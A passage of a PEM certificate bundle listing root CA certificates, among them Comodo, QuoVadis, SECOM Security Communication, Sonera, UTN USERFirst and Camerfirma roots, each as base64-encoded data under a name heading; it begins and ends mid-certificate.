C1Pqy0wkwLxyTurxFa70VJoSCsN6sjNg4tqJVfMiWPPe3M/vg4aijJRPn2jymJBGhCfHdr/jzDUs i14HZGWCwEiwqJH5YZ92IFCokcdmtet4YgNW8IoaE+oxox6gmf049vYnMlhvB/VruPsUK6+3qszW Y19zjNoFmag4qMsXeDZRrOme9Hg6jc8P2ULimAyrL58OAd7vn5lJ8S3frHRNG5i1R8XlKdH5kBjH Ypy+g8cmez6KJcfA3Z3mNWgQIJ2P2N7Sw4ScDV7oL8kCAwEAAaOBwDCBvTAdBgNVHQ4EFgQUoBEK Iz6W8Qfs4q8p74Klf9AwpLQwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wewYDVR0f BHQwcjA4oDagNIYyaHR0cDovL2NybC5jb21vZG9jYS5jb20vQUFBQ2VydGlmaWNhdGVTZXJ2aWNl cy5jcmwwNqA0oDKGMGh0dHA6Ly9jcmwuY29tb2RvLm5ldC9BQUFDZXJ0aWZpY2F0ZVNlcnZpY2Vz LmNybDANBgkqhkiG9w0BAQUFAAOCAQEACFb8AvCb6P+k+tZ7xkSAzk/ExfYAWMymtrwUSWgEdujm 7l3sAg9g1o1QGE8mTgHj5rCl7r+8dFRBv/38ErjHT1r0iWAFf2C3BUrz9vHCv8S5dIa2LX1rzNLz Rt0vxuBqw8M0Ayx9lt1awg6nCpnBBYurDC/zXDrPbDdVCYfeU0BsWO/8tqtlbgT2G9w84FoVxp7Z 8VlIMCFlA2zs6SFz7JsDoeA3raAVGI/6ugLOpyypEBMs1OUIJqsil2D4kF501KKaU73yqWjgom7C 12yxow+ev+to51byrvLjKzg6CYG1a4XXvi3tPxq3smPi9WIsgtRqAEFQ8TmDn5XpNpaYbg== -----END CERTIFICATE----- Comodo Secure Services root =========================== -----BEGIN CERTIFICATE----- MIIEPzCCAyegAwIBAgIBATANBgkqhkiG9w0BAQUFADB+MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDEkMCIGA1UEAwwbU2VjdXJlIENlcnRpZmljYXRlIFNlcnZpY2VzMB4XDTA0MDEwMTAw MDAwMFoXDTI4MTIzMTIzNTk1OVowfjELMAkGA1UEBhMCR0IxGzAZBgNVBAgMEkdyZWF0ZXIgTWFu Y2hlc3RlcjEQMA4GA1UEBwwHU2FsZm9yZDEaMBgGA1UECgwRQ29tb2RvIENBIExpbWl0ZWQxJDAi BgNVBAMMG1NlY3VyZSBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczCCASIwDQYJKoZIhvcNAQEBBQADggEP ADCCAQoCggEBAMBxM4KK0HDrc4eCQNUd5MvJDkKQ+d40uaG6EfQlhfPMcm3ye5drswfxdySRXyWP 9nQ95IDC+DwN879A6vfIUtFyb+/Iq0G4bi4XKpVpDM3SHpR7LZQdqnXXs5jLrLxkU0C8j6ysNstc rbvd4JQX7NFc0L/vpZXJkMWwrPsbQ996CF23uPJAGysnnlDOXmWCiIxe004MeuoIkbY2qitC++rC oznl2yY4rYsK7hljxxwk3wN42ubqwUcaCwtGCd0C/N7Lh1/XMGNooa7cMqG6vv5Eq2i2pRcV/b3V p6ea5EQz6YiO/O1R65NxTq0B50SOqy3LqP4BSUjwwN3HaNiS/j0CAwEAAaOBxzCBxDAdBgNVHQ4E FgQUPNiTiMLAggnMAZkGkyDpnnAJY08wDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8w gYEGA1UdHwR6MHgwO6A5oDeGNWh0dHA6Ly9jcmwuY29tb2RvY2EuY29tL1NlY3VyZUNlcnRpZmlj YXRlU2VydmljZXMuY3JsMDmgN6A1hjNodHRwOi8vY3JsLmNvbW9kby5uZXQvU2VjdXJlQ2VydGlm aWNhdGVTZXJ2aWNlcy5jcmwwDQYJKoZIhvcNAQEFBQADggEBAIcBbSMdflsXfcFhMs+P5/OKlFlm 4J4oqF7Tt/Q05qo5spcWxYJvMqTpjOev/e/C6LlLqqP05tqNZSH7uoDrJiiFGv45jN5bBAS0VPmj Z55B+glSzAVIqMk/IQQezkhr/IXownuvf7fM+F86/TXGDe+X3EyrEeFryzHRbPtIgKvcnDe4IRRL DXE97IMzbtFuMhbsmMcWi1mmNKsFVy2T96oTy9IT4rcuO81rUBcJaD61JlfutuC23bkpgHl9j6Pw pCikFcSF9CfUa7/lXORlAnZUtOM3ZiTTGWHIUhDlizeauan5Hb/qmZJhlv8BzaFfDbxxvA6sCx1H RR3B7Hzs/Sk= -----END CERTIFICATE----- Comodo Trusted Services root ============================ -----BEGIN CERTIFICATE----- MIIEQzCCAyugAwIBAgIBATANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJHQjEbMBkGA1UECAwS R3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHDAdTYWxmb3JkMRowGAYDVQQKDBFDb21vZG8gQ0Eg TGltaXRlZDElMCMGA1UEAwwcVHJ1c3RlZCBDZXJ0aWZpY2F0ZSBTZXJ2aWNlczAeFw0wNDAxMDEw MDAwMDBaFw0yODEyMzEyMzU5NTlaMH8xCzAJBgNVBAYTAkdCMRswGQYDVQQIDBJHcmVhdGVyIE1h bmNoZXN0ZXIxEDAOBgNVBAcMB1NhbGZvcmQxGjAYBgNVBAoMEUNvbW9kbyBDQSBMaW1pdGVkMSUw IwYDVQQDDBxUcnVzdGVkIENlcnRpZmljYXRlIFNlcnZpY2VzMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA33FvNlhTWvI2VFeAxHQIIO0Yfyod5jWaHiWsnOWWfnJSoBVC21ndZHoa0Lh7 3TkVvFVIxO06AOoxEbrycXQaZ7jPM8yoMa+j49d/vzMtTGo87IvDktJTdyR0nAducPy9C1t2ul/y /9c3S0pgePfw+spwtOpZqqPOSC+pw7ILfhdyFgymBwwbOM/JYrc/oJOlh0Hyt3BAd9i+FHzjqMB6 juljatEPmsbS9Is6FARW1O24zG71++IsWL1/T2sr92AkWCTOJu80kTrV44HQsvAEAtdbtz6SrGsS ivnkBbA7kUlcsutT6vifR4buv5XAwAaf0lteERv0xwQ1KdJVXOTt6wIDAQABo4HJMIHGMB0GA1Ud DgQWBBTFe1i97doladL3WRaoszLAeydb9DAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB /zCBgwYDVR0fBHwwejA8oDqgOIY2aHR0cDovL2NybC5jb21vZG9jYS5jb20vVHJ1c3RlZENlcnRp ZmljYXRlU2VydmljZXMuY3JsMDqgOKA2hjRodHRwOi8vY3JsLmNvbW9kby5uZXQvVHJ1c3RlZENl cnRpZmljYXRlU2VydmljZXMuY3JsMA0GCSqGSIb3DQEBBQUAA4IBAQDIk4E7ibSvuIQSTI3S8Ntw uleGFTQQuS9/HrCoiWChisJ3DFBKmwCL2Iv0QeLQg4pKHBQGsKNoBXAxMKdTmw7pSqBYaWcOrp32 pSxBvzwGa+RZzG0Q8ZZvH9/0BAKkn0U+yNj6NkZEUD+Cl5EfKNsYEYwq5GWDVxISjBc/lDb+XbDA BHcTuPQV1T84zJQ6VdCsmPW6AF/ghhmBeC8owH7TzEIK9a5QoNE+xqFx7D+gIIxmOom0jtTYsU0l R+4viMi14QVFwL4Ucd56/Y57fU0IlqUSc/AtyjcndBInTMu2l+nZrghtWjlA3QVHdWpaIbOjGM9O 9y5Xt5hwXsjEeLBi -----END CERTIFICATE----- QuoVadis Root CA ================ -----BEGIN CERTIFICATE----- MIIF0DCCBLigAwIBAgIEOrZQizANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJCTTEZMBcGA1UE ChMQUXVvVmFkaXMgTGltaXRlZDElMCMGA1UECxMcUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0 eTEuMCwGA1UEAxMlUXVvVmFkaXMgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wMTAz MTkxODMzMzNaFw0yMTAzMTcxODMzMzNaMH8xCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRp cyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MS4wLAYDVQQD EyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAv2G1lVO6V/z68mcLOhrfEYBklbTRvM16z/Ypli4kVEAkOPcahdxYTMuk J0KX0J+DisPkBgNbAKVRHnAEdOLB1Dqr1607BxgFjv2DrOpm2RgbaIr1VxqYuvXtdj182d6UajtL F8HVj71lODqV0D1VNk7feVcxKh7YWWVJWCCYfqtffp/p1k3sg3Spx2zY7ilKhSoGFPlU5tPaZQeL YzcS19Dsw3sgQUSj7cugF+FxZc4dZjH3dgEZyH0DWLaVSR2mEiboxgx24ONmy+pdpibu5cxfvWen AScOospUxbF6lR1xHkopigPcakXBpBlebzbNw6Kwt/5cOOJSvPhEQ+aQuwIDAQABo4ICUjCCAk4w PQYIKwYBBQUHAQEEMTAvMC0GCCsGAQUFBzABhiFodHRwczovL29jc3AucXVvdmFkaXNvZmZzaG9y ZS5jb20wDwYDVR0TAQH/BAUwAwEB/zCCARoGA1UdIASCAREwggENMIIBCQYJKwYBBAG+WAABMIH7 MIHUBggrBgEFBQcCAjCBxxqBxFJlbGlhbmNlIG9uIHRoZSBRdW9WYWRpcyBSb290IENlcnRpZmlj YXRlIGJ5IGFueSBwYXJ0eSBhc3N1bWVzIGFjY2VwdGFuY2Ugb2YgdGhlIHRoZW4gYXBwbGljYWJs ZSBzdGFuZGFyZCB0ZXJtcyBhbmQgY29uZGl0aW9ucyBvZiB1c2UsIGNlcnRpZmljYXRpb24gcHJh Y3RpY2VzLCBhbmQgdGhlIFF1b1ZhZGlzIENlcnRpZmljYXRlIFBvbGljeS4wIgYIKwYBBQUHAgEW Fmh0dHA6Ly93d3cucXVvdmFkaXMuYm0wHQYDVR0OBBYEFItLbe3TKbkGGew5Oanwl4Rqy+/fMIGu BgNVHSMEgaYwgaOAFItLbe3TKbkGGew5Oanwl4Rqy+/foYGEpIGBMH8xCzAJBgNVBAYTAkJNMRkw FwYDVQQKExBRdW9WYWRpcyBMaW1pdGVkMSUwIwYDVQQLExxSb290IENlcnRpZmljYXRpb24gQXV0 aG9yaXR5MS4wLAYDVQQDEyVRdW9WYWRpcyBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggQ6 tlCLMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQUFAAOCAQEAitQUtf70mpKnGdSkfnIYj9lo fFIk3WdvOXrEql494liwTXCYhGHoG+NpGA7O+0dQoE7/8CQfvbLO9Sf87C9TqnN7Az10buYWnuul LsS/VidQK2K6vkscPFVcQR0kvoIgR13VRH56FmjffU1RcHhXHTMe/QKZnAzNCgVPx7uOpHX6Sm2x gI4JVrmcGmD+XcHXetwReNDWXcG31a0ymQM6isxUJTkxgXsTIlG6Rmyhu576BGxJJnSP0nPrzDCi 5upZIof4l/UO/erMkqQWxFIY6iHOsfHmhIHluqmGKPJDWl0Snawe2ajlCmqnf6CHKc/yiU3U7MXi 5nrQNiOKSnQ2+Q== -----END CERTIFICATE----- QuoVadis Root CA 2 ================== -----BEGIN CERTIFICATE----- MIIFtzCCA5+gAwIBAgICBQkwDQYJKoZIhvcNAQEFBQAwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoT EFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMTElF1b1ZhZGlzIFJvb3QgQ0EgMjAeFw0wNjExMjQx ODI3MDBaFw0zMTExMjQxODIzMzNaMEUxCzAJBgNVBAYTAkJNMRkwFwYDVQQKExBRdW9WYWRpcyBM aW1pdGVkMRswGQYDVQQDExJRdW9WYWRpcyBSb290IENBIDIwggIiMA0GCSqGSIb3DQEBAQUAA4IC DwAwggIKAoICAQCaGMpLlA0ALa8DKYrwD4HIrkwZhR0In6spRIXzL4GtMh6QRr+jhiYaHv5+HBg6 XJxgFyo6dIMzMH1hVBHL7avg5tKifvVrbxi3Cgst/ek+7wrGsxDp3MJGF/hd/aTa/55JWpzmM+Yk lvc/ulsrHHo1wtZn/qtmUIttKGAr79dgw8eTvI02kfN/+NsRE8Scd3bBrrcCaoF6qUWD4gXmuVbB lDePSHFjIuwXZQeVikvfj8ZaCuWw419eaxGrDPmF60Tp+ARz8un+XJiM9XOva7R+zdRcAitMOeGy lZUtQofX1bOQQ7dsE/He3fbE+Ik/0XX1ksOR1YqI0JDs3G3eicJlcZaLDQP9nL9bFqyS2+r+eXyt 66/3FsvbzSUr5R/7mp/iUcw6UwxI5g69ybR2BlLmEROFcmMDBOAENisgGQLodKcftslWZvB1Jdxn wQ5hYIizPtGo/KPaHbDRsSNU30R2be1B2MGyIrZTHN81Hdyhdyox5C315eXbyOD/5YDXC2Og/zOh D7osFRXql7PSorW+8oyWHhqPHWykYTe5hnMz15eWniN9gqRMgeKh0bpnX5UHoycR7hYQe7xFSkyy BNKr79X9DFHOUGoIMfmR2gyPZFwDwzqLID9ujWc9Otb+fVuIyV77zGHcizN300QyNQliBJIWENie J0f7OyHj+OsdWwIDAQABo4GwMIGtMA8GA1UdEwEB/wQFMAMBAf8wCwYDVR0PBAQDAgEGMB0GA1Ud DgQWBBQahGK8SEwzJQTU7tD2A8QZRtGUazBuBgNVHSMEZzBlgBQahGK8SEwzJQTU7tD2A8QZRtGU a6FJpEcwRTELMAkGA1UEBhMCQk0xGTAXBgNVBAoTEFF1b1ZhZGlzIExpbWl0ZWQxGzAZBgNVBAMT ElF1b1ZhZGlzIFJvb3QgQ0EgMoICBQkwDQYJKoZIhvcNAQEFBQADggIBAD4KFk2fBluornFdLwUv Z+YTRYPENvbzwCYMDbVHZF34tHLJRqUDGCdViXh9duqWNIAXINzng/iN/Ae42l9NLmeyhP3ZRPx3 UIHmfLTJDQtyU/h2BwdBR5YM++CCJpNVjP4iH2BlfF/nJrP3MpCYUNQ3cVX2kiF495V5+vgtJodm VjB3pjd4M1IQWK4/YY7yarHvGH5KWWPKjaJW1acvvFYfzznB4vsKqBUsfU16Y8Zsl0Q80m/DShcK +JDSV6IZUaUtl0HaB0+pUNqQjZRG4T7wlP0QADj1O+hA4bRuVhogzG9Yje0uRY/W6ZM/57Es3zrW IozchLsib9D45MY56QSIPMO661V6bYCZJPVsAfv4l7CUW+v90m/xd2gNNWQjrLhVoQPRTUIZ3Ph1 WVaj+ahJefivDrkRoHy3au000LYmYjgahwz46P0u05B/B5EqHdZ+XIWDmbA4CD/pXvk1B+TJYm5X f6dQlfe6yJvmjqIBxdZmv3lh8zwc4bmCXF2gw+nYSL0ZohEUGW6yhhtoPkg3Goi3XZZenMfvJ2II 4pEZXNLxId26F0KCl3GBUzGpn/Z9Yr9y4aOTHcyKJloJONDO1w2AFrR4pTqHTI2KpdVGl/IsELm8 VCLAAVBpQ570su9t+Oza8eOx79+Rj1QqCyXBJhnEUhAFZdWCEOrCMc0u -----END CERTIFICATE----- QuoVadis Root CA 3 ================== -----BEGIN CERTIFICATE----- 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 -----END CERTIFICATE----- Security Communication Root CA ============================== -----BEGIN CERTIFICATE----- MIIDWjCCAkKgAwIBAgIBADANBgkqhkiG9w0BAQUFADBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw HhcNMDMwOTMwMDQyMDQ5WhcNMjMwOTMwMDQyMDQ5WjBQMQswCQYDVQQGEwJKUDEYMBYGA1UEChMP U0VDT00gVHJ1c3QubmV0MScwJQYDVQQLEx5TZWN1cml0eSBDb21tdW5pY2F0aW9uIFJvb3RDQTEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCzs/5/022x7xZ8V6UMbXaKL0u/ZPtM7orw 8yl89f/uKuDp6bpbZCKamm8sOiZpUQWZJtzVHGpxxpp9Hp3dfGzGjGdnSj74cbAZJ6kJDKaVv0uM DPpVmDvY6CKhS3E4eayXkmmziX7qIWgGmBSWh9JhNrxtJ1aeV+7AwFb9Ms+k2Y7CI9eNqPPYJayX 5HA49LY6tJ07lyZDo6G8SVlyTCMwhwFY9k6+HGhWZq/NQV3Is00qVUarH9oe4kA92819uZKAnDfd DJZkndwi92SL32HeFZRSFaB9UslLqCHJxrHty8OVYNEP8Ktw+N/LTX7s1vqr2b1/VPKl6Xn62dZ2 JChzAgMBAAGjPzA9MB0GA1UdDgQWBBSgc0mZaNyFW2XjmygvV5+9M7wHSDALBgNVHQ8EBAMCAQYw DwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEAaECpqLvkT115swW1F7NgE+vGkl3g 0dNq/vu+m22/xwVtWSDEHPC32oRYAmP6SBbvT6UL90qY8j+eG61Ha2POCEfrUj94nK9NrvjVT8+a mCoQQTlSxN3Zmw7vkwGusi7KaEIkQmywszo+zenaSMQVy+n5Bw+SUEmK3TGXX8npN6o7WWWXlDLJ s58+OmJYxUmtYg5xpTKqL8aJdkNAExNnPaJUJRDL8Try2frbSVa7pv6nQTXD4IhhyYjH3zYQIphZ 6rBK+1YWc26sTfcioU+tHXotRSflMMFe8toTyyVCUZVHA4xsIcx0Qu1T/zOLjw9XARYvz6buyXAi FL39vmwLAw== -----END CERTIFICATE----- Sonera Class 2 Root CA ====================== -----BEGIN CERTIFICATE----- MIIDIDCCAgigAwIBAgIBHTANBgkqhkiG9w0BAQUFADA5MQswCQYDVQQGEwJGSTEPMA0GA1UEChMG U29uZXJhMRkwFwYDVQQDExBTb25lcmEgQ2xhc3MyIENBMB4XDTAxMDQwNjA3Mjk0MFoXDTIxMDQw NjA3Mjk0MFowOTELMAkGA1UEBhMCRkkxDzANBgNVBAoTBlNvbmVyYTEZMBcGA1UEAxMQU29uZXJh IENsYXNzMiBDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJAXSjWdyvANlsdE+hY3 /Ei9vX+ALTU74W+oZ6m/AxxNjG8yR9VBaKQTBME1DJqEQ/xcHf+Js+gXGM2RX/uJ4+q/Tl18GybT dXnt5oTjV+WtKcT0OijnpXuENmmz/V52vaMtmdOQTiMofRhj8VQ7Jp12W5dCsv+u8E7s3TmVToMG f+dJQMjFAbJUWmYdPfz56TwKnoG4cPABi+QjVHzIrviQHgCWctRUz2EjvOr7nQKV0ba5cTppCD8P tOFCx4j1P5iop7oc4HFx71hXgVB6XGt0Rg6DA5jDjqhu8nYybieDwnPz3BjotJPqdURrBGAgcVeH nfO+oJAjPYok4doh28MCAwEAAaMzMDEwDwYDVR0TAQH/BAUwAwEB/zARBgNVHQ4ECgQISqCqWITT XjwwCwYDVR0PBAQDAgEGMA0GCSqGSIb3DQEBBQUAA4IBAQBazof5FnIVV0sd2ZvnoiYw7JNn39Yt 0jSv9zilzqsWuasvfDXLrNAPtEwr/IDva4yRXzZ299uzGxnq9LIR/WFxRL8oszodv7ND6J+/3DEI cbCdjdY0RzKQxmUk96BKfARzjzlvF4xytb1LyHr4e4PDKE6cCepnP7JnBBvDFNr450kkkdAdavph Oe9r5yF1BgfYErQhIHBCcYHaPJo2vqZbDWpsmh+Re/n570K6Tk6ezAyNlNzZRZxe7EJQY670XcSx EtzKO6gunRRaBXW37Ndj4ro1tgQIkejanZz2ZrUYrAqmVCY0M9IbwdR/GjqOC6oybtv8TyWf2TLH llpwrN9M -----END CERTIFICATE----- UTN USERFirst Hardware Root CA ============================== -----BEGIN CERTIFICATE----- MIIEdDCCA1ygAwIBAgIQRL4Mi1AAJLQR0zYq/mUK/TANBgkqhkiG9w0BAQUFADCBlzELMAkGA1UE BhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0eTEeMBwGA1UEChMVVGhl IFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVzZXJ0cnVzdC5jb20xHzAd BgNVBAMTFlVUTi1VU0VSRmlyc3QtSGFyZHdhcmUwHhcNOTkwNzA5MTgxMDQyWhcNMTkwNzA5MTgx OTIyWjCBlzELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAlVUMRcwFQYDVQQHEw5TYWx0IExha2UgQ2l0 eTEeMBwGA1UEChMVVGhlIFVTRVJUUlVTVCBOZXR3b3JrMSEwHwYDVQQLExhodHRwOi8vd3d3LnVz ZXJ0cnVzdC5jb20xHzAdBgNVBAMTFlVUTi1VU0VSRmlyc3QtSGFyZHdhcmUwggEiMA0GCSqGSIb3 DQEBAQUAA4IBDwAwggEKAoIBAQCx98M4P7Sof885glFn0G2f0v9Y8+efK+wNiVSZuTiZFvfgIXlI wrthdBKWHTxqctU8EGc6Oe0rE81m65UJM6Rsl7HoxuzBdXmcRl6Nq9Bq/bkqVRcQVLMZ8Jr28bFd tqdt++BxF2uiiPsA3/4aMXcMmgF6sTLjKwEHOG7DpV4jvEWbe1DByTCP2+UretNb+zNAHqDVmBe8 i4fDidNdoI6yqqr2jmmIBsX6iSHzCJ1pLgkzmykNRg+MzEk0sGlRvfkGzWitZky8PqxhvQqIDsjf Pe58BEydCl5rkdbux+0ojatNh4lz0G6k0B4WixThdkQDf2Os5M1JnMWS9KsyoUhbAgMBAAGjgbkw gbYwCwYDVR0PBAQDAgHGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFKFyXyYbKJhDlV0HN9WF lp1L0sNFMEQGA1UdHwQ9MDswOaA3oDWGM2h0dHA6Ly9jcmwudXNlcnRydXN0LmNvbS9VVE4tVVNF UkZpcnN0LUhhcmR3YXJlLmNybDAxBgNVHSUEKjAoBggrBgEFBQcDAQYIKwYBBQUHAwUGCCsGAQUF BwMGBggrBgEFBQcDBzANBgkqhkiG9w0BAQUFAAOCAQEARxkP3nTGmZev/K0oXnWO6y1n7k57K9cM //bey1WiCuFMVGWTYGufEpytXoMs61quwOQt9ABjHbjAbPLPSbtNk28GpgoiskliCE7/yMgUsogW XecB5BKV5UU0s4tpvc+0hY91UZ59Ojg6FEgSxvunOxqNDYJAB+gECJChicsZUN/KHAG8HQQZexB2 lzvukJDKxA4fFm517zP4029bHpbj4HR3dHuKom4t3XbWOTCC8KucUvIqx69JXn7HaOWCgchqJ/kn iCrVWFCVH/A7HFe7fRQ5YiuayZSSKqMiDP+JJn1fIytH1xUdqWqeUQ0qUZ6B+dQ7XnASfxAynB67 nfhmqA== -----END CERTIFICATE----- Camerfirma Chambers of Commerce Root ==================================== -----BEGIN CERTIFICATE----- MIIEvTCCA6WgAwIBAgIBADANBgkqhkiG9w0BAQUFADB/MQswCQYDVQQGEwJFVTEnMCUGA1UEChMe QUMgQ2FtZXJmaXJtYSBTQSBDSUYgQTgyNzQzMjg3MSMwIQYDVQQLExpodHRwOi8vd3d3LmNoYW1i ZXJzaWduLm9yZzEiMCAGA1UEAxMZQ2hhbWJlcnMgb2YgQ29tbWVyY2UgUm9vdDAeFw0wMzA5MzAx NjEzNDNaFw0zNzA5MzAxNjEzNDRaMH8xCzAJBgNVBAYTAkVVMScwJQYDVQQKEx5BQyBDYW1lcmZp cm1hIFNBIENJRiBBODI3NDMyODcxIzAhBgNVBAsTGmh0dHA6Ly93d3cuY2hhbWJlcnNpZ24ub3Jn MSIwIAYDVQQDExlDaGFtYmVycyBvZiBDb21tZXJjZSBSb290MIIBIDANBgkqhkiG9w0BAQEFAAOC AQ0AMIIBCAKCAQEAtzZV5aVdGDDg2olUkfzIx1L4L1DZ77F1c2VHfRtbunXF/KGIJPov7coISjlU xFF6tdpg6jg8gbLL8bvZkSM/SAFwdakFKq0fcfPJVD0dBmpAPrMMhe5cG3nCYsS4No41XQEMIwRH NaqbYE6gZj3LJgqcQKH0XZi/caulAGgq7YN6D6IUtdQis4CwPAxaUWktWBiP7Zme8a7ileb2R6jW DA+wWFjbw2Y3npuRVDM30pQcakjJyfKl2qUMI/cjDpwyVV5xnIQFUZot/eZOKjRa3spAN2cMVCFV d9oKDMyXroDclDZK9D7ONhMeU+SsTjoF7Nuucpw4i9A5O4kKPnf+dQIBA6OCAUQwggFAMBIGA1Ud EwEB/wQIMAYBAf8CAQwwPAYDVR0fBDUwMzAxoC+gLYYraHR0cDovL2NybC5jaGFtYmVyc2lnbi5v cmcvY2hhbWJlcnNyb290LmNybDAdBgNVHQ4EFgQU45T1sU3p26EpW1eLTXYGduHRooowDgYDVR0P AQH/BAQDAgEGMBEGCWCGSAGG+EIBAQQEAwIABzAnBgNVHREEIDAegRxjaGFtYmVyc3Jvb3RAY2hh bWJlcnNpZ24ub3JnMCcGA1UdEgQgMB6BHGNoYW1iZXJzcm9vdEBjaGFtYmVyc2lnbi5vcmcwWAYD VR0gBFEwTzBNBgsrBgEEAYGHLgoDATA+MDwGCCsGAQUFBwIBFjBodHRwOi8vY3BzLmNoYW1iZXJz aWduLm9yZy9jcHMvY2hhbWJlcnNyb290Lmh0bWwwDQYJKoZIhvcNAQEFBQADggEBAAxBl8IahsAi fJ/7kPMa0QOx7xP5IV8EnNrJpY0nbJaHkb5BkAFyk+cefV/2icZdp0AJPaxJRUXcLo0waLIJuvvD 